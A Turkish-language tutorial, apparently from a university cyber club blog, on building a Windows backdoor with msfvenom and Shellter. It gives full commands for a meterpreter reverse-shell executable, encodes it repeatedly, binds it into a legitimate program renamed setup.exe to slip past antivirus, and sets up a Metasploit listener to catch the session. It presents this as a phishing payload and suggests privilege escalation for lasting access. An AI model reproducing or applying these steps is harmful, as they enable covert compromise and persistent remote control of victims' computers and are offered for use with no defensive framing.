TR | Backdoor Hazırlanması ve Antivirüs Bypass Edilmesi
Backdoor (Arka Kapı) Nedir?
Backdoor, hedef sistem üzerinde ki güvenlik önlemlerini atlatarak, hedef sistem üzerinde uzaktan erişim hakkı kazanmayı sağlayan zararlı yazılımlardır. Genellikle hedef sistemde, port açarak veya açık olan portları kullanarak saldırganın, hedef sistem üzerinde erişim hakkı kazanması sağlanır. Backdoor hakkında bilgi sahibi olduğumuza göre Phishing saldırılarının vazgeçilmezi olan zararlı yazılımın/dosyanın nasıl oluşturulabileceğini ve bu zararlı dosyanın, antivirüs ve anti-mallware programları tarafından tespitinin nasıl minimuma indirilebileceğini inceleyebiliriz. Bu yazıda örnek olarak exe formatında zararlı çalışıtırılabilir dosya hazırlayacağız. Hazırlayacağımız exe, kullanıcı programı çalıştırdığında bize kullanıcının bilgisayarına erişmemizi sağlayacak bir meterpreter oturumu sağlayacak. Hatırlamakta fayda var ki exe formatının dışında python, asp, aspx, dll, elf gibi bir çok formatta zararlı dosya oluşturma imkanı vardır. msfvenom –help-formats komutu ile geri kalan formatlarıda görüntülemek mümkündür.
Meterpreter nedir ?
Meterpreter, sıklıkla kullanılan bir metasploit payloadudur. Bir arka kapı olarak çalışır. Yüklenen sistemde, sistem bilgileri, hedef sistemden ve hedef sisteme dosya transferi, hedef sistem komut satırına ulaşım gibi imkanlar sağlar. Meterpreter komutlarından bir kaçına aşağıdaki ekran görüntülerinden ulaşabilirsiniz.
Hızlıca bu işlemleri nasıl yapacağımıza geçelim. İlk olarak içinde sadece meterpreter shell olan bir exe oluşturacağız ve bu halini virustotalde ( Virustotal, ücretsiz, küçük boyutlu yazılımlarının antivürüs programlarınca testlerini yaparak sonuçlarını veren bir servis. https://www.virustotal.com ) taratacağız.
İlk olarak msfvenom kullanarak yapacağız. Msfvenom; metasploit framework ile birlikte gelen zararlı kod oluşturmamıza yardımcı olan bir araçtır.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli1.exe
-p : Payload
-f : Zararlı dosya formatı
LHOST : Kali IP Adresi (Local IP Adres)
LPORT : Kali Portu. (Zararlının bize ulaşmasını sağlayacak port)
NOT: Her hangi bir linux dağıtımda yada sunucu üzerinde bağlantı sağlanmak istenilen portun açık olduğuna dikkat edilmelidir. Eğer session gelmiyorsa bunun ilk nedenlerinden birisi dinlenilen portun açık olmama ihtimalidir.
Uygulamayı virustotal de taratarak sonuçlarına bakalım.
Görüldüğü gibi neredeyse bütün antivirüs programları tarafından yakalandık. Bu sefer oluşturacağımız zararlıyı encode ederek antivirüslerden kaçmaya çalışacağız.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o /root/Desktop/zararli2.exe -k -e x86/shikata_ga_nai -i 10
-e parametresiyle hangi encoderi kullanmasını istediğimiz söylüyoruz ve -i parametresiyle kaç kez encode edileceğini belirtiyoruz.
Yine çıkan exe yi taratarak sonuçlara bakıyoruz.
Yakalandığımız antivirüs programı sayısında bir azalma var ama istediğimiz kadar değil.
Birde bind etme işlemini deneyelim. Bind etmek, hali hazırda var olan bir exe nin içine zararlı kodumuzu yerleştirme olayına denir.
Bunun için iki ayrı yöntem deneyeceğim. Birincisi yukarıdaki örneklerde kullandığımız msfvenom, bir diğeri ise Shellter isimli uygulama.
Msfvenom ile devam edelim. Öncelikle normal bir exe dosyasına ihtiyacımız var, ben tercihen kali linuxta /usr/share/windows-binaries/ içerisinde bulunan plink.exe isimli exe yi kullanacağım. Siz herhangi başka bir uygulamada seçebilirsiniz. Burada seçtiğimiz uygulama bizim için sadece aracı olacak ve biz uygulamanın yanına zararlı kodumuzu koyarak yeni bir exe dosyası oluşturacağız.
Plink.exe isimli dosyanın bir kopyasını masaüstüne setup.exe olarak kaydediyorum. Virustotal.com sitesinden uygulamayı taratıyoruz.
Sonuç olarak herhangi bir antivirüs programının içerisinde virüs bulduğu gözüküyor. Artık ilk halini biliyoruz. Şimdi sıra plink.exe uygulamasının içerisine zararlı kodumuzu yerleştirmeye geldi.
msfvenom -a x86 --platform windows -x setup.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 -f exe -o zararli3.exe -k -e x86/shikata_ga_nai -i 10
İnternetten indirdiğimiz setup.exe isimli uygulamanın yanına meterpreter shell bind ederek zararli3.exe olarak oluşturduk.
Yakalandığımız antivürs sayısı biraz daha azalmış gözüküyor. Daha farklı encoderlar ve faklı encoderlardan sırayla exe yı geçirerek sayıyı biraz daha azaltmamız mümkün.
Şimdi Shellter adlı uygulama ile bu işlemi deneyeceğiz. Shellter, exe dosyalarının içerisine payload yerleştirebilmemizi sağlayan ücretsiz bir araçtır.
Shellter uygulaması kali de kurulu gelmiyor. Kurmak için :
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 && apt-get install shellter
komutunu yazmamız yeterli olacaktır. Kurulum tamamlandıktan sonra terminale shellter yazarak programı çalıştırabiliriz.
Karşımıza yukarıdaki gibi bir ekran gelecektir. Choose Operation Mode sorusuna A( auto ) cevabını vererek devam ediyoruz.
PE Target sorduğunda temiz halde bulunan exe dosyasının adresini veriyoruz. Shellter bizim için işlemleri otomatik olarak yapacaktır.
Bize hangi payloadı kullanmak istediğimizi soruyor burada 1. seçeneği seçiyorum. Seçerken önce Local payload kullanacağımızı belirtmek için L yazıyoruz ardından 1 yazarak devam ediyoruz.
Daha sonra bizden LHOST ve LPORT girmemizi istiyor buralara kendi ip adresimiz ve kullanmak istediğimiz portu yazıyoruz.
Daha sonra shellter geri kalan işlemleri bizim için hallediyor. Son olarak entera basmamızı istiyor ve zararlı uygulamamız hazır.
setup.exe artık içerisinde zararlı kodlarda barındıran bir uygulama. Karışıklık olmaması için ismini zararli4.exe olarak değiştiriyorum ve ardından hemen virustotalde tarama işlemini başlatıyorum.
Sonucun oldukça tatmin edici olduğunu düşünüyorum. Popüler antivirüslerin hepsinden kaçmayı başardık. İlk haline göre sadece bir tane antivirüs programına yakalandık.
Oldukça başarılı sonuçlanan son uygulamadan sonra bu exe yi nasıl kullanacağımıza sıra geldi. Burada Metasploit Framework’ü kullanacağız. Terminalden msfconsole komutu ile Metasploit Framework’ü çalıştırabiliriz.
use exploit/multi/handler
komutu ile exploitimizi kullanmak için çağırıyoruz.
Daha sonra set PAYLOAD windows/meterpreter/reverse_tcp komutunu yazarak meterpreter payloadını exploite dahil ediyoruz.
show options komutuyla exploite vermemiz gereken bilgileri görüyoruz. Burada ip adresimizi ve exeyi oluştururken verdiğimiz port adresimizi yazacağız.
set LHOST 192.168.56.101
set LPORT 443
Daha sonra exploit diyerek programdan gelecek istekleri dinlemeye başlayacağız.
Dinlemeye başarılı bir şekilde başladık. Artık hedef kişinin programı çalıştırmasını bekliyoruz. Çalıştırdığı anda buraya bilgileri gelecek ve o bilgisayarda erişim sahibi olacağız.
Windows bilgisayardan (hedef), bizim oluşturduğumuz exe çalıştığı anda meterpreter oturumuna sahip oluyoruz.
Yazının başında paylaştığım görsellerdeki meterpreter komutlarını artık hedef sistem zerinde çalıştırabiliriz. Hatta hedefin kullandığı işletim sisteminin hak yükseltme exploitini kullanarak tüm yetkilere sahip olan bir kullanıcı kaydedebilir, istediğimiz zaman o sisteme bağlanabiliriz.
Sonuna kadar okuduğunuz için teşekkür ederiz. Paü siber ..